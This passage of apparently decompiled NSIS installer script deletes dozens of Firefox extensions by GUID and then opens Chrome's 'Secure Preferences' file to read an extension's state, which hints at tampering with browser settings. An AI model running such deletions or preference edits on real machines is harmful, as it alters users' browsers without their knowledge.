IfFileExists $_59_\extensions\{ec09e36d-a9f1-4f4f-a511-28b7d187ae57}.xpi 0 label_8652
Delete /REBOOTOK $_59_\extensions\{ec09e36d-a9f1-4f4f-a511-28b7d187ae57}.xpi
label_8652:
IfFileExists $_59_\extensions\{03b6ab51-b177-4492-96c1-468f7b14362e}.xpi 0 label_8654
Delete /REBOOTOK $_59_\extensions\{03b6ab51-b177-4492-96c1-468f7b14362e}.xpi
label_8654:
IfFileExists $_59_\extensions\{c34eeaf7-ee8f-4174-92f5-03998d76c469}.xpi 0 label_8656
Delete /REBOOTOK $_59_\extensions\{c34eeaf7-ee8f-4174-92f5-03998d76c469}.xpi
label_8656:
IfFileExists $_59_\extensions\{4cb996ec-2d7a-4651-9e3e-5c83eb4b64d1}.xpi 0 label_8658
Delete /REBOOTOK $_59_\extensions\{4cb996ec-2d7a-4651-9e3e-5c83eb4b64d1}.xpi
label_8658:
IfFileExists $_59_\extensions\{9d99ecb0-daaf-4f95-98a0-605b1758ccea}.xpi 0 label_8660
Delete /REBOOTOK $_59_\extensions\{9d99ecb0-daaf-4f95-98a0-605b1758ccea}.xpi
label_8660:
IfFileExists $_59_\extensions\{913d2ed3-4e23-413f-bdab-195da83ca204}.xpi 0 label_8662
Delete /REBOOTOK $_59_\extensions\{913d2ed3-4e23-413f-bdab-195da83ca204}.xpi
label_8662:
IfFileExists $_59_\extensions\{8a41cfe2-3810-44a8-a83f-c58ba68c0bd4}.xpi 0 label_8664
Delete /REBOOTOK $_59_\extensions\{8a41cfe2-3810-44a8-a83f-c58ba68c0bd4}.xpi
label_8664:
IfFileExists $_59_\extensions\{87e69265-1805-4a58-8d62-9ff511b55610}.xpi 0 label_8666
Delete /REBOOTOK $_59_\extensions\{87e69265-1805-4a58-8d62-9ff511b55610}.xpi
label_8666:
IfFileExists $_59_\extensions\{f85d4c65-1154-4082-9efb-b8b116fc3795}.xpi 0 label_8668
Delete /REBOOTOK $_59_\extensions\{f85d4c65-1154-4082-9efb-b8b116fc3795}.xpi
label_8668:
IfFileExists $_59_\extensions\{54e61b77-49c4-4135-8142-1407eb4ac276}.xpi 0 label_8670
Delete /REBOOTOK $_59_\extensions\{54e61b77-49c4-4135-8142-1407eb4ac276}.xpi
label_8670:
IfFileExists $_59_\extensions\{fc8b8f59-40b3-4d9e-b737-f5021644a463}.xpi 0 label_8672
Delete /REBOOTOK $_59_\extensions\{fc8b8f59-40b3-4d9e-b737-f5021644a463}.xpi
label_8672:
IfFileExists $_59_\extensions\[email protected] 0 label_8674
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8674:
IfFileExists $_59_\extensions\{2f0f17e3-2288-4b9c-962a-4ea1649829b5}.xpi 0 label_8676
Delete /REBOOTOK $_59_\extensions\{2f0f17e3-2288-4b9c-962a-4ea1649829b5}.xpi
label_8676:
IfFileExists $_59_\extensions\{0d48e6a1-d020-4019-98e5-bcd55fbb05d2}.xpi 0 label_8678
Delete /REBOOTOK $_59_\extensions\{0d48e6a1-d020-4019-98e5-bcd55fbb05d2}.xpi
label_8678:
IfFileExists $_59_\extensions\{13c6321e-7ad2-4a5c-a949-9f0621947c74}.xpi 0 label_8680
Delete /REBOOTOK $_59_\extensions\{13c6321e-7ad2-4a5c-a949-9f0621947c74}.xpi
label_8680:
IfFileExists $_59_\extensions\*findwide.com.xpi 0 label_8682
Delete /REBOOTOK $_59_\extensions\*findwide.com.xpi
label_8682:
IfFileExists $_59_\extensions\{a1199239-596c-4c27-bf36-f28687b537c9}.xpi 0 label_8684
Delete /REBOOTOK $_59_\extensions\{a1199239-596c-4c27-bf36-f28687b537c9}.xpi
label_8684:
IfFileExists $_59_\extensions\{4c12e85e-ecff-4f9b-b0b4-a94418f3e761}.xpi 0 label_8686
Delete /REBOOTOK $_59_\extensions\{4c12e85e-ecff-4f9b-b0b4-a94418f3e761}.xpi
label_8686:
IfFileExists $_59_\extensions\{5a6ea252-2886-493b-a049-8a440a4b790b}.xpi 0 label_8688
Delete /REBOOTOK $_59_\extensions\{5a6ea252-2886-493b-a049-8a440a4b790b}.xpi
label_8688:
IfFileExists $_59_\extensions\{0b297dd1-43f4-45a0-b4b7-d9fb1f0da097}.xpi 0 label_8690
Delete /REBOOTOK $_59_\extensions\{0b297dd1-43f4-45a0-b4b7-d9fb1f0da097}.xpi
label_8690:
IfFileExists $_59_\extensions\{d2c04f0d-d0b8-4e7c-acc4-a22ec46c802b}.xpi 0 label_8692
Delete /REBOOTOK $_59_\extensions\{d2c04f0d-d0b8-4e7c-acc4-a22ec46c802b}.xpi
label_8692:
IfFileExists $_59_\extensions\{c57599e1-597d-4396-872f-6d1cf108a5de}.xpi 0 label_8694
Delete /REBOOTOK $_59_\extensions\{c57599e1-597d-4396-872f-6d1cf108a5de}.xpi
label_8694:
IfFileExists $_59_\extensions\{9c87de74-a53e-482a-ae83-0cd43d2f20ef}.xpi 0 label_8696
Delete /REBOOTOK $_59_\extensions\{9c87de74-a53e-482a-ae83-0cd43d2f20ef}.xpi
label_8696:
IfFileExists $_59_\extensions\{fd88ed86-7c0b-410c-8c91-2e7f41bcdfa3}.xpi 0 label_8698
Delete /REBOOTOK $_59_\extensions\{fd88ed86-7c0b-410c-8c91-2e7f41bcdfa3}.xpi
label_8698:
IfFileExists $_59_\extensions\{4e4e0b18-68b4-44ac-a4f7-48001b39d827}.xpi 0 label_8700
Delete /REBOOTOK $_59_\extensions\{4e4e0b18-68b4-44ac-a4f7-48001b39d827}.xpi
label_8700:
IfFileExists $_59_\extensions\{72a94386-d7dd-4032-86b6-e013e104f0ab}.xpi 0 label_8702
Delete /REBOOTOK $_59_\extensions\{72a94386-d7dd-4032-86b6-e013e104f0ab}.xpi
label_8702:
IfFileExists $_59_\extensions\{a37f329e-23c2-45ef-bf9b-54b45cd32b31}.xpi 0 label_8704
Delete /REBOOTOK $_59_\extensions\{a37f329e-23c2-45ef-bf9b-54b45cd32b31}.xpi
label_8704:
IfFileExists $_59_\extensions\{c6d5baef-cc32-4da9-98d0-44f4212faf25}.xpi 0 label_8706
Delete /REBOOTOK $_59_\extensions\{c6d5baef-cc32-4da9-98d0-44f4212faf25}.xpi
label_8706:
IfFileExists $_59_\extensions\{ffa87353-6cf3-4b72-b9f6-b46952ba0258}.xpi 0 label_8708
Delete /REBOOTOK $_59_\extensions\{ffa87353-6cf3-4b72-b9f6-b46952ba0258}.xpi
label_8708:
IfFileExists $_59_\extensions\{3d7c9664-2383-4572-b93a-52f0d08ee5e6}.xpi 0 label_8710
Delete /REBOOTOK $_59_\extensions\{3d7c9664-2383-4572-b93a-52f0d08ee5e6}.xpi
label_8710:
IfFileExists $_59_\extensions\{3efba43e-e18f-4e96-a239-8ca508512068}.xpi 0 label_8712
Delete /REBOOTOK $_59_\extensions\{3efba43e-e18f-4e96-a239-8ca508512068}.xpi
label_8712:
IfFileExists $_59_\extensions\{e17ad92d-cfad-42be-8db2-4ed682cc424b}.xpi 0 label_8714
Delete /REBOOTOK $_59_\extensions\{e17ad92d-cfad-42be-8db2-4ed682cc424b}.xpi
label_8714:
IfFileExists $_59_\extensions\{4b2c4845-18eb-48ad-8bc9-e3dea8079924}.xpi 0 label_8716
Delete /REBOOTOK $_59_\extensions\{4b2c4845-18eb-48ad-8bc9-e3dea8079924}.xpi
label_8716:
IfFileExists $_59_\extensions\{2f61a2c5-2b4e-4bbb-9404-ac844dd71d03}.xpi 0 label_8718
Delete /REBOOTOK $_59_\extensions\{2f61a2c5-2b4e-4bbb-9404-ac844dd71d03}.xpi
label_8718:
IfFileExists $_59_\extensions\{1f638105-cfb3-40f7-ba3f-34530f574cf6}.xpi 0 label_8720
Delete /REBOOTOK $_59_\extensions\{1f638105-cfb3-40f7-ba3f-34530f574cf6}.xpi
label_8720:
IfFileExists $_59_\extensions\{621b949b-df4c-4be6-99ce-72ca3c909971}.xpi 0 label_8722
Delete /REBOOTOK $_59_\extensions\{621b949b-df4c-4be6-99ce-72ca3c909971}.xpi
label_8722:
IfFileExists $_59_\extensions\{abd24c81-a6f3-4092-82a2-bbebfc21a3f6}.xpi 0 label_8724
Delete /REBOOTOK $_59_\extensions\{abd24c81-a6f3-4092-82a2-bbebfc21a3f6}.xpi
label_8724:
IfFileExists $_59_\extensions\{b5e6b9c9-cc4f-4845-a12b-35d90caf7163}.xpi 0 label_8726
Delete /REBOOTOK $_59_\extensions\{b5e6b9c9-cc4f-4845-a12b-35d90caf7163}.xpi
label_8726:
IfFileExists $_59_\extensions\[email protected] 0 label_8728
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8728:
IfFileExists $_59_\extensions\{29690076-bf0e-4c48-873c-c0813b99959a}.xpi 0 label_8730
Delete /REBOOTOK $_59_\extensions\{29690076-bf0e-4c48-873c-c0813b99959a}.xpi
label_8730:
IfFileExists $_59_\extensions\{a49060ed-0910-4604-9107-f53dbf36e4e9}.xpi 0 label_8732
Delete /REBOOTOK $_59_\extensions\{a49060ed-0910-4604-9107-f53dbf36e4e9}.xpi
label_8732:
IfFileExists $_59_\extensions\{16019b30-3b17-4628-9c7d-d15e79370054}.xpi 0 label_8734
Delete /REBOOTOK $_59_\extensions\{16019b30-3b17-4628-9c7d-d15e79370054}.xpi
label_8734:
IfFileExists $_59_\extensions\{a2e82ae1-2091-454c-aac9-49113691b4df}.xpi 0 label_8736
Delete /REBOOTOK $_59_\extensions\{a2e82ae1-2091-454c-aac9-49113691b4df}.xpi
label_8736:
IfFileExists $_59_\extensions\{bc11b76b-a405-47da-8c51-cd0fe84f9963}.xpi 0 label_8738
Delete /REBOOTOK $_59_\extensions\{bc11b76b-a405-47da-8c51-cd0fe84f9963}.xpi
label_8738:
IfFileExists $_59_\extensions\{4d5a242b-ea97-4224-9f4e-8628db29d43b}.xpi 0 label_8740
Delete /REBOOTOK $_59_\extensions\{4d5a242b-ea97-4224-9f4e-8628db29d43b}.xpi
label_8740:
IfFileExists $_59_\extensions\{65b93ad0-c159-4c03-b11b-428fc5cebbab}.xpi 0 label_8742
Delete /REBOOTOK $_59_\extensions\{65b93ad0-c159-4c03-b11b-428fc5cebbab}.xpi
label_8742:
FunctionEnd
Function func_8743
IfFileExists $_59_\extensions\{b24210ba-dfd7-42e5-acb8-85a34a68236b}.xpi 0 label_8745
Delete /REBOOTOK $_59_\extensions\{b24210ba-dfd7-42e5-acb8-85a34a68236b}.xpi
label_8745:
IfFileExists $_59_\extensions\{933813e3-cdfa-4297-b862-f2446b7033ed}.xpi 0 label_8747
Delete /REBOOTOK $_59_\extensions\{933813e3-cdfa-4297-b862-f2446b7033ed}.xpi
label_8747:
IfFileExists $_59_\extensions\{1fb2e019-cd58-4734-85e5-112770b75f14}.xpi 0 label_8749
Delete /REBOOTOK $_59_\extensions\{1fb2e019-cd58-4734-85e5-112770b75f14}.xpi
label_8749:
IfFileExists $_59_\extensions\{699bd245-8d10-4e76-8ffa-df6cfdf0e2bc}.xpi 0 label_8751
Delete /REBOOTOK $_59_\extensions\{699bd245-8d10-4e76-8ffa-df6cfdf0e2bc}.xpi
label_8751:
IfFileExists $_59_\extensions\{199dff8e-7f78-4986-9d58-90f203dc8448}.xpi 0 label_8753
Delete /REBOOTOK $_59_\extensions\{199dff8e-7f78-4986-9d58-90f203dc8448}.xpi
label_8753:
IfFileExists $_59_\extensions\{1dc94cfd-338a-4651-a0db-2dac98719436}.xpi 0 label_8755
Delete /REBOOTOK $_59_\extensions\{1dc94cfd-338a-4651-a0db-2dac98719436}.xpi
label_8755:
IfFileExists $_59_\extensions\{148536ab-cfd5-44fa-96ea-4d6057a13605}.xpi 0 label_8757
Delete /REBOOTOK $_59_\extensions\{148536ab-cfd5-44fa-96ea-4d6057a13605}.xpi
label_8757:
IfFileExists $_59_\extensions\{1e1222fc-eaae-4b38-a61f-f3a1610c18ed}.xpi 0 label_8759
Delete /REBOOTOK $_59_\extensions\{1e1222fc-eaae-4b38-a61f-f3a1610c18ed}.xpi
label_8759:
IfFileExists $_59_\extensions\{8728815d-e436-45ad-8fc6-20727110a911}.xpi 0 label_8761
Delete /REBOOTOK $_59_\extensions\{8728815d-e436-45ad-8fc6-20727110a911}.xpi
label_8761:
IfFileExists $_59_\extensions\{be5f898e-7acd-49b7-85ac-217b878a86f3}.xpi 0 label_8763
Delete /REBOOTOK $_59_\extensions\{be5f898e-7acd-49b7-85ac-217b878a86f3}.xpi
label_8763:
IfFileExists $_59_\extensions\{afd2b735-d175-406e-8895-33e5e5731b34}.xpi 0 label_8765
Delete /REBOOTOK $_59_\extensions\{afd2b735-d175-406e-8895-33e5e5731b34}.xpi
label_8765:
IfFileExists $_59_\extensions\{9d6b6ae5-a298-4fcf-8f88-d262755fabfd}.xpi 0 label_8767
Delete /REBOOTOK $_59_\extensions\{9d6b6ae5-a298-4fcf-8f88-d262755fabfd}.xpi
label_8767:
IfFileExists $_59_\extensions\{b7a43079-6d56-4ff7-94e7-61224ecd466e}.xpi 0 label_8769
Delete /REBOOTOK $_59_\extensions\{b7a43079-6d56-4ff7-94e7-61224ecd466e}.xpi
label_8769:
IfFileExists $_59_\extensions\{c980daa9-620d-ebbe-5a9d-1e5145bc671f} 0 label_8771
RMDir /r /REBOOTOK $_59_\extensions\{c980daa9-620d-ebbe-5a9d-1e5145bc671f}
label_8771:
IfFileExists $_59_\extensions\{31ea5304-ce31-468b-93b6-f9da54d8845b}.xpi 0 label_8773
Delete /REBOOTOK $_59_\extensions\{31ea5304-ce31-468b-93b6-f9da54d8845b}.xpi
label_8773:
IfFileExists $_59_\extensions\{554a5089-0529-4705-b0f5-10754c41df99}.xpi 0 label_8775
Delete /REBOOTOK $_59_\extensions\{554a5089-0529-4705-b0f5-10754c41df99}.xpi
label_8775:
IfFileExists $_59_\extensions\{fb12e022-b252-4314-b701-fdcd4ea1ae6b}.xpi 0 label_8777
Delete /REBOOTOK $_59_\extensions\{fb12e022-b252-4314-b701-fdcd4ea1ae6b}.xpi
label_8777:
IfFileExists $_59_\extensions\{671bbc47-669f-4ff9-9583-a546ed22abda}.xpi 0 label_8779
Delete /REBOOTOK $_59_\extensions\{671bbc47-669f-4ff9-9583-a546ed22abda}.xpi
label_8779:
IfFileExists $_59_\extensions\{9cda4d98-9b41-4295-862a-169083f8869c}.xpi 0 label_8781
Delete /REBOOTOK $_59_\extensions\{9cda4d98-9b41-4295-862a-169083f8869c}.xpi
label_8781:
IfFileExists $_59_\extensions\{fa1b1dca-f14d-44f8-b096-43de88243cf4}.xpi 0 label_8783
Delete /REBOOTOK $_59_\extensions\{fa1b1dca-f14d-44f8-b096-43de88243cf4}.xpi
label_8783:
IfFileExists $_59_\extensions\[email protected] 0 label_8785
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8785:
IfFileExists $_59_\extensions\{4f0e5fbd-22db-4514-b224-98fb1a61b808}.xpi 0 label_8787
Delete /REBOOTOK $_59_\extensions\{4f0e5fbd-22db-4514-b224-98fb1a61b808}.xpi
label_8787:
IfFileExists $_59_\extensions\{e07a7836-e7fe-454c-ae5c-dd26a3d66e6d}.xpi 0 label_8789
Delete /REBOOTOK $_59_\extensions\{e07a7836-e7fe-454c-ae5c-dd26a3d66e6d}.xpi
label_8789:
IfFileExists $_59_\extensions\{38fd551c-0136-4099-90fb-c03affe02d56}.xpi 0 label_8791
Delete /REBOOTOK $_59_\extensions\{38fd551c-0136-4099-90fb-c03affe02d56}.xpi
label_8791:
IfFileExists $_59_\extensions\{c5bd066e-8a2a-4511-9e57-f836ad30bc02}.xpi 0 label_8793
Delete /REBOOTOK $_59_\extensions\{c5bd066e-8a2a-4511-9e57-f836ad30bc02}.xpi
label_8793:
IfFileExists $_59_\extensions\[email protected] 0 label_8795
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8795:
IfFileExists $_59_\extensions\{C8ED0482-A99E-450E-B0B1-637B63E37697}.xpi 0 label_8797
Delete /REBOOTOK $_59_\extensions\{C8ED0482-A99E-450E-B0B1-637B63E37697}.xpi
label_8797:
IfFileExists $_59_\extensions\{783c91fd-c0e8-4513-9211-6902bd51a62e}.xpi 0 label_8799
Delete /REBOOTOK $_59_\extensions\{783c91fd-c0e8-4513-9211-6902bd51a62e}.xpi
label_8799:
IfFileExists $_59_\extensions\{da2254ac-493b-4b56-ba5b-6d6e7647f04d}.xpi 0 label_8801
Delete /REBOOTOK $_59_\extensions\{da2254ac-493b-4b56-ba5b-6d6e7647f04d}.xpi
label_8801:
IfFileExists $_59_\extensions\{c2fe7f89-d209-4f77-81e0-2417130ee876}.xpi 0 label_8803
Delete /REBOOTOK $_59_\extensions\{c2fe7f89-d209-4f77-81e0-2417130ee876}.xpi
label_8803:
IfFileExists $_59_\extensions\{dcb4aaf2-d3f4-47f4-899d-f9ca662df9db}.xpi 0 label_8805
Delete /REBOOTOK $_59_\extensions\{dcb4aaf2-d3f4-47f4-899d-f9ca662df9db}.xpi
label_8805:
IfFileExists $_59_\extensions\{fd4f1dbd-76e9-423d-b17a-b864fd6a3a1e}.xpi 0 label_8807
Delete /REBOOTOK $_59_\extensions\{fd4f1dbd-76e9-423d-b17a-b864fd6a3a1e}.xpi
label_8807:
IfFileExists $_59_\extensions\{2579d5f7-e83b-4575-b6a9-e2e70d7951ef}.xpi 0 label_8809
Delete /REBOOTOK $_59_\extensions\{2579d5f7-e83b-4575-b6a9-e2e70d7951ef}.xpi
label_8809:
IfFileExists $_59_\extensions\{2628dfb5-5bfc-460b-8683-9faa4f4a86b7}.xpi 0 label_8811
Delete /REBOOTOK $_59_\extensions\{2628dfb5-5bfc-460b-8683-9faa4f4a86b7}.xpi
label_8811:
IfFileExists $_59_\extensions\{159b6291-3313-443c-a196-2400a75839e8}.xpi 0 label_8813
Delete /REBOOTOK $_59_\extensions\{159b6291-3313-443c-a196-2400a75839e8}.xpi
label_8813:
IfFileExists $_59_\extensions\{AD11DADE-C597-45D9-D8C5-1D2EB0B89613}.xpi 0 label_8815
Delete /REBOOTOK $_59_\extensions\{AD11DADE-C597-45D9-D8C5-1D2EB0B89613}.xpi
label_8815:
IfFileExists $_59_\extensions\[email protected] 0 label_8817
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8817:
IfFileExists $_59_\extensions\[email protected] 0 label_8819
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8819:
IfFileExists $_59_\extensions\[email protected] 0 label_8821
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8821:
IfFileExists $_59_\extensions\{f283fe97-fa02-4fe5-a5c3-a3301270de6e}.xpi 0 label_8823
Delete /REBOOTOK $_59_\extensions\{f283fe97-fa02-4fe5-a5c3-a3301270de6e}.xpi
label_8823:
IfFileExists $_59_\extensions\{62dc5e25-b1a4-4bef-b130-001732d3585f}.xpi 0 label_8825
Delete /REBOOTOK $_59_\extensions\{62dc5e25-b1a4-4bef-b130-001732d3585f}.xpi
label_8825:
IfFileExists $_59_\extensions\{aa201293-043e-4bc7-aa5c-35e077edd40f}.xpi 0 label_8827
Delete /REBOOTOK $_59_\extensions\{aa201293-043e-4bc7-aa5c-35e077edd40f}.xpi
label_8827:
IfFileExists $_59_\extensions\{b20a000f-7c1b-45ca-993c-5783570dbe26}.xpi 0 label_8829
Delete /REBOOTOK $_59_\extensions\{b20a000f-7c1b-45ca-993c-5783570dbe26}.xpi
label_8829:
IfFileExists $_59_\extensions\{e778774d-0541-4f0d-80c6-f5a71856f828}.xpi 0 label_8831
Delete /REBOOTOK $_59_\extensions\{e778774d-0541-4f0d-80c6-f5a71856f828}.xpi
label_8831:
IfFileExists $_59_\extensions\{3fe091fd-bd68-4232-9287-c755881dd426}.xpi 0 label_8833
Delete /REBOOTOK $_59_\extensions\{3fe091fd-bd68-4232-9287-c755881dd426}.xpi
label_8833:
IfFileExists $_59_\extensions\{527b0dc2-273a-448f-844f-9c9b6954c2e1}.xpi 0 label_8835
Delete /REBOOTOK $_59_\extensions\{527b0dc2-273a-448f-844f-9c9b6954c2e1}.xpi
label_8835:
IfFileExists $_59_\extensions\{3649d071-7ccc-406e-91c7-7e3a1383fa6f}.xpi 0 label_8837
Delete /REBOOTOK $_59_\extensions\{3649d071-7ccc-406e-91c7-7e3a1383fa6f}.xpi
label_8837:
IfFileExists $_59_\extensions\{f8b28ab0-f41b-4b32-b6eb-d130fd93feb1}.xpi 0 label_8839
Delete /REBOOTOK $_59_\extensions\{f8b28ab0-f41b-4b32-b6eb-d130fd93feb1}.xpi
label_8839:
IfFileExists $_59_\extensions\{92c9ea8e-d032-4248-a8a1-80ea1615e38a}.xpi 0 label_8841
Delete /REBOOTOK $_59_\extensions\{92c9ea8e-d032-4248-a8a1-80ea1615e38a}.xpi
label_8841:
IfFileExists $_59_\extensions\{2cb5dde2-40b6-4585-98ea-867e0c49a915}.xpi 0 label_8843
Delete /REBOOTOK $_59_\extensions\{2cb5dde2-40b6-4585-98ea-867e0c49a915}.xpi
label_8843:
IfFileExists $_59_\extensions\{57657737-a8e9-4f48-a1f0-8048c8f69d1b}.xpi 0 label_8845
Delete /REBOOTOK $_59_\extensions\{57657737-a8e9-4f48-a1f0-8048c8f69d1b}.xpi
label_8845:
IfFileExists $_59_\extensions\{27a1faaf-ecc3-5c2b-ba71-86bc3d49a915}.xpi 0 label_8847
Delete /REBOOTOK $_59_\extensions\{27a1faaf-ecc3-5c2b-ba71-86bc3d49a915}.xpi
label_8847:
IfFileExists $_59_\extensions\{cba25618-b0c8-cdd6-46f1-67cba25618ab}.xpi 0 label_8849
Delete /REBOOTOK $_59_\extensions\{cba25618-b0c8-cdd6-46f1-67cba25618ab}.xpi
label_8849:
IfFileExists $_59_\extensions\{6379a279-6da5-435f-86bf-c309005e8359}.xpi 0 label_8851
Delete /REBOOTOK $_59_\extensions\{6379a279-6da5-435f-86bf-c309005e8359}.xpi
label_8851:
IfFileExists $_59_\extensions\[email protected] 0 label_8853
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8853:
IfFileExists $_59_\extensions\{dde244b0-fb51-42a6-9c9c-82f978f9041f}.xpi 0 label_8855
Delete /REBOOTOK $_59_\extensions\{dde244b0-fb51-42a6-9c9c-82f978f9041f}.xpi
label_8855:
IfFileExists $_59_\extensions\[email protected] 0 label_8857
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8857:
IfFileExists $_59_\extensions\[email protected] 0 label_8859
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8859:
IfFileExists $_59_\extensions\{7e8041c9-5043-4ce3-9967-63e16dc9c021}.xpi 0 label_8861
Delete /REBOOTOK $_59_\extensions\{7e8041c9-5043-4ce3-9967-63e16dc9c021}.xpi
label_8861:
IfFileExists $_59_\extensions\{16a9d1d5-7c36-4224-8574-0add20588a52}.xpi 0 label_8863
Delete /REBOOTOK $_59_\extensions\{16a9d1d5-7c36-4224-8574-0add20588a52}.xpi
label_8863:
IfFileExists $_59_\extensions\{73d18ea9-e3c7-46e0-b70c-526583a98abe}.xpi 0 label_8865
Delete /REBOOTOK $_59_\extensions\{73d18ea9-e3c7-46e0-b70c-526583a98abe}.xpi
label_8865:
IfFileExists $_59_\extensions\{a01d8d10-2d95-4880-9b9e-ad8443257818}.xpi 0 label_8867
Delete /REBOOTOK $_59_\extensions\{a01d8d10-2d95-4880-9b9e-ad8443257818}.xpi
label_8867:
IfFileExists $_59_\extensions\{29451070-f176-42e6-9649-c54c843446fc}.xpi 0 label_8869
Delete /REBOOTOK $_59_\extensions\{29451070-f176-42e6-9649-c54c843446fc}.xpi
label_8869:
IfFileExists $_59_\extensions\{d54ca6b2-c52f-46f7-9a20-4aa86be0e174}.xpi 0 label_8871
Delete /REBOOTOK $_59_\extensions\{d54ca6b2-c52f-46f7-9a20-4aa86be0e174}.xpi
label_8871:
IfFileExists $_59_\extensions\{6ec09908-795a-4141-bffa-5fa914d42b7e}.xpi 0 label_8873
Delete /REBOOTOK $_59_\extensions\{6ec09908-795a-4141-bffa-5fa914d42b7e}.xpi
label_8873:
IfFileExists $_59_\extensions\{27e158ab-ed08-463b-b2ae-b0859aa9e6b7}.xpi 0 label_8875
Delete /REBOOTOK $_59_\extensions\{27e158ab-ed08-463b-b2ae-b0859aa9e6b7}.xpi
label_8875:
IfFileExists $_59_\extensions\{5338b981-17bb-4eb1-a9c2-e552c52b86c3}.xpi 0 label_8877
Delete /REBOOTOK $_59_\extensions\{5338b981-17bb-4eb1-a9c2-e552c52b86c3}.xpi
label_8877:
IfFileExists $_59_\extensions\[email protected] 0 label_8879
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8879:
IfFileExists $_59_\extensions\[email protected] 0 label_8881
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8881:
IfFileExists $_59_\extensions\{bc0dfb93-6833-449e-a4e7-8633203fd3bc}.xpi 0 label_8883
Delete /REBOOTOK $_59_\extensions\{bc0dfb93-6833-449e-a4e7-8633203fd3bc}.xpi
label_8883:
IfFileExists $_59_\extensions\{aa629cf2-7914-4ba7-a988-47c945a76c7c}.xpi 0 label_8885
Delete /REBOOTOK $_59_\extensions\{aa629cf2-7914-4ba7-a988-47c945a76c7c}.xpi
label_8885:
IfFileExists $_59_\extensions\{c3b33406-0ed8-4dac-aec8-542a7083eb5d}.xpi 0 label_8887
Delete /REBOOTOK $_59_\extensions\{c3b33406-0ed8-4dac-aec8-542a7083eb5d}.xpi
label_8887:
IfFileExists $_59_\extensions\{8cc5e9ec-4d7b-45f3-869c-054d84aaa512}.xpi 0 label_8889
Delete /REBOOTOK $_59_\extensions\{8cc5e9ec-4d7b-45f3-869c-054d84aaa512}.xpi
label_8889:
IfFileExists $_59_\extensions\{348295a7-7997-44ac-a9fb-2825d318432d}.xpi 0 label_8891
Delete /REBOOTOK $_59_\extensions\{348295a7-7997-44ac-a9fb-2825d318432d}.xpi
label_8891:
IfFileExists $_59_\extensions\{092386fb-9faf-4d52-817c-d4095ab6e5cd}.xpi 0 label_8893
Delete /REBOOTOK $_59_\extensions\{092386fb-9faf-4d52-817c-d4095ab6e5cd}.xpi
label_8893:
IfFileExists $_59_\extensions\{ff5b1a0e-6112-4bfe-881a-a6f209dd1428}.xpi 0 label_8895
Delete /REBOOTOK $_59_\extensions\{ff5b1a0e-6112-4bfe-881a-a6f209dd1428}.xpi
label_8895:
IfFileExists $_59_\extensions\{725ac607-9a4d-4324-8683-5f198bad476c}.xpi 0 label_8897
Delete /REBOOTOK $_59_\extensions\{725ac607-9a4d-4324-8683-5f198bad476c}.xpi
label_8897:
IfFileExists $_59_\extensions\{cff7a3d5-2193-43a2-87b6-84454c255c6c}.xpi 0 label_8899
Delete /REBOOTOK $_59_\extensions\{cff7a3d5-2193-43a2-87b6-84454c255c6c}.xpi
label_8899:
IfFileExists $_59_\extensions\{4b830365-d4e7-484e-b314-fccd2326cd0d}.xpi 0 label_8901
Delete /REBOOTOK $_59_\extensions\{4b830365-d4e7-484e-b314-fccd2326cd0d}.xpi
label_8901:
IfFileExists $_59_\extensions\{4f694d8d-6bd5-42d9-be6d-91b3dbf4a2e1}.xpi 0 label_8903
Delete /REBOOTOK $_59_\extensions\{4f694d8d-6bd5-42d9-be6d-91b3dbf4a2e1}.xpi
label_8903:
IfFileExists $_59_\extensions\{26a46a2e-a565-42b9-a3f1-96dc63b2a3cc}.xpi 0 label_8905
Delete /REBOOTOK $_59_\extensions\{26a46a2e-a565-42b9-a3f1-96dc63b2a3cc}.xpi
label_8905:
IfFileExists $_59_\extensions\{568x6a13-bb65-gh59-b6g4-3568ghh4a6gh}.xpi 0 label_8907
Delete /REBOOTOK $_59_\extensions\{568x6a13-bb65-gh59-b6g4-3568ghh4a6gh}.xpi
label_8907:
IfFileExists $_59_\extensions\{2ecf46cc-6922-40e0-a88d-63eada1a1484}.xpi 0 label_8909
Delete /REBOOTOK $_59_\extensions\{2ecf46cc-6922-40e0-a88d-63eada1a1484}.xpi
label_8909:
IfFileExists $_59_\extensions\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.xpi 0 label_8911
Delete /REBOOTOK $_59_\extensions\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.xpi
label_8911:
IfFileExists $_59_\extensions\{e5ce8cf0-7605-4e4b-a6cd-87c040c37288}.xpi 0 label_8913
Delete /REBOOTOK $_59_\extensions\{e5ce8cf0-7605-4e4b-a6cd-87c040c37288}.xpi
label_8913:
IfFileExists $_59_\extensions\{d10d1bf8-f5b5-a8b4-a8b2-2b9399e08c5d} 0 label_8915
RMDir /r /REBOOTOK $_59_\extensions\{d10d1bf8-f5b5-a8b4-a8b2-2b9399e08c5d}
label_8915:
IfFileExists $_59_\extensions\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575} 0 label_8917
RMDir /r /REBOOTOK $_59_\extensions\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575}
label_8917:
IfFileExists $_59_\extensions\{95E84BD3-3604-4AAC-B2CA-D9AC3E55B64B} 0 label_8919
RMDir /r /REBOOTOK $_59_\extensions\{95E84BD3-3604-4AAC-B2CA-D9AC3E55B64B}
label_8919:
FunctionEnd
Function func_8920
IfFileExists "$_64_\Secure Preferences" 0 label_8943
StrCpy $1 1
ClearErrors
nsJSON::Set /file "$_64_\Secure Preferences"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$_64_\Secure Preferences"
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions settings $_51_ state /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push state
; Push $_51_
; Push settings
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_8943
Pop $1
StrCmp $1 0 0 label_8943
